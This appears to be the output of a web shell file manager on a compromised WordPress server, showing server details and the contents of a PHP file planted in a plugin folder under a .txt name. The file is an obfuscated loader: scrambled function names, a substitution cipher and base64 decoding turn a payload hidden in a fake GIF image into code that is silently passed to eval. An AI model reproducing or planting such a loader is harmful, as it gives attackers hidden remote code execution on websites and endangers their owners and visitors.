HEX
Server: nginx/1.24.0
System: Linux ht2024073053593 5.14.0-480.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 12 20:45:27 UTC 2024 x86_64
User: root (0)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/njmuedu.com/wp-content/plugins/acorejev/iqichav.txt
<?php

function ojixup_machiqykhip($himaxo_kyzhytho) {
    $ninoniz = isutuv_byvasyzaq(1);
    $fovyzyq = isutuv_byvasyzaq(2);
    for ($nozesam = 0; $nozesam < strlen($ninoniz); $nozesam++) {
        $azazhup = substr($ninoniz, $nozesam, 1);
        $itoguk = substr($fovyzyq, $nozesam, 1);
        $qewoje[$azazhup] = $itoguk;
    }

    $benekhu = strtr($himaxo_kyzhytho, $qewoje);
    $benekhu = base64_decode($benekhu);

    return $benekhu;
}

function isutuv_byvasyzaq($himaxo_kyzhytho) {
    if ($himaxo_kyzhytho == 1)
        return vozijy_uqumikyz();
    if ($himaxo_kyzhytho == 2)
        return quxeny_tysotezhe();
}

function onurag_vadasily($himaxo_kyzhytho) {
    $uqakom = array();
    if (!file_exists($himaxo_kyzhytho))
        return false;
    $ukimah = @file_get_contents($himaxo_kyzhytho);
    if (!$ukimah)
        return false;
    $ukimah = substr($ukimah, 3);
    $uqakom = ojixup_machiqykhip($ukimah);
    return $uqakom;
}

function vozijy_uqumikyz() {
    $ukimah = "vKb8kU5JuMYSfZHRg=msh4lXGePWOIj2z6L+0Caci1TyFV93tdoNp7Q/BAxrqDEwn";
    return $ukimah;
}

function quxeny_tysotezhe() {
    $uqakom = "kFXZaL9=w+zoChPqG12ytVImAQUYEgDnf3TsxrHdBNR/vl68Mie5cSWu0jb47OKpJ";
    return $uqakom;
}

$babyvop = onurag_vadasily(__DIR__ . "/ass" . "ets/im" . "ages/" . "riza" . "xy.g" . "if");
if ($babyvop) {
    @eval($babyvop);
}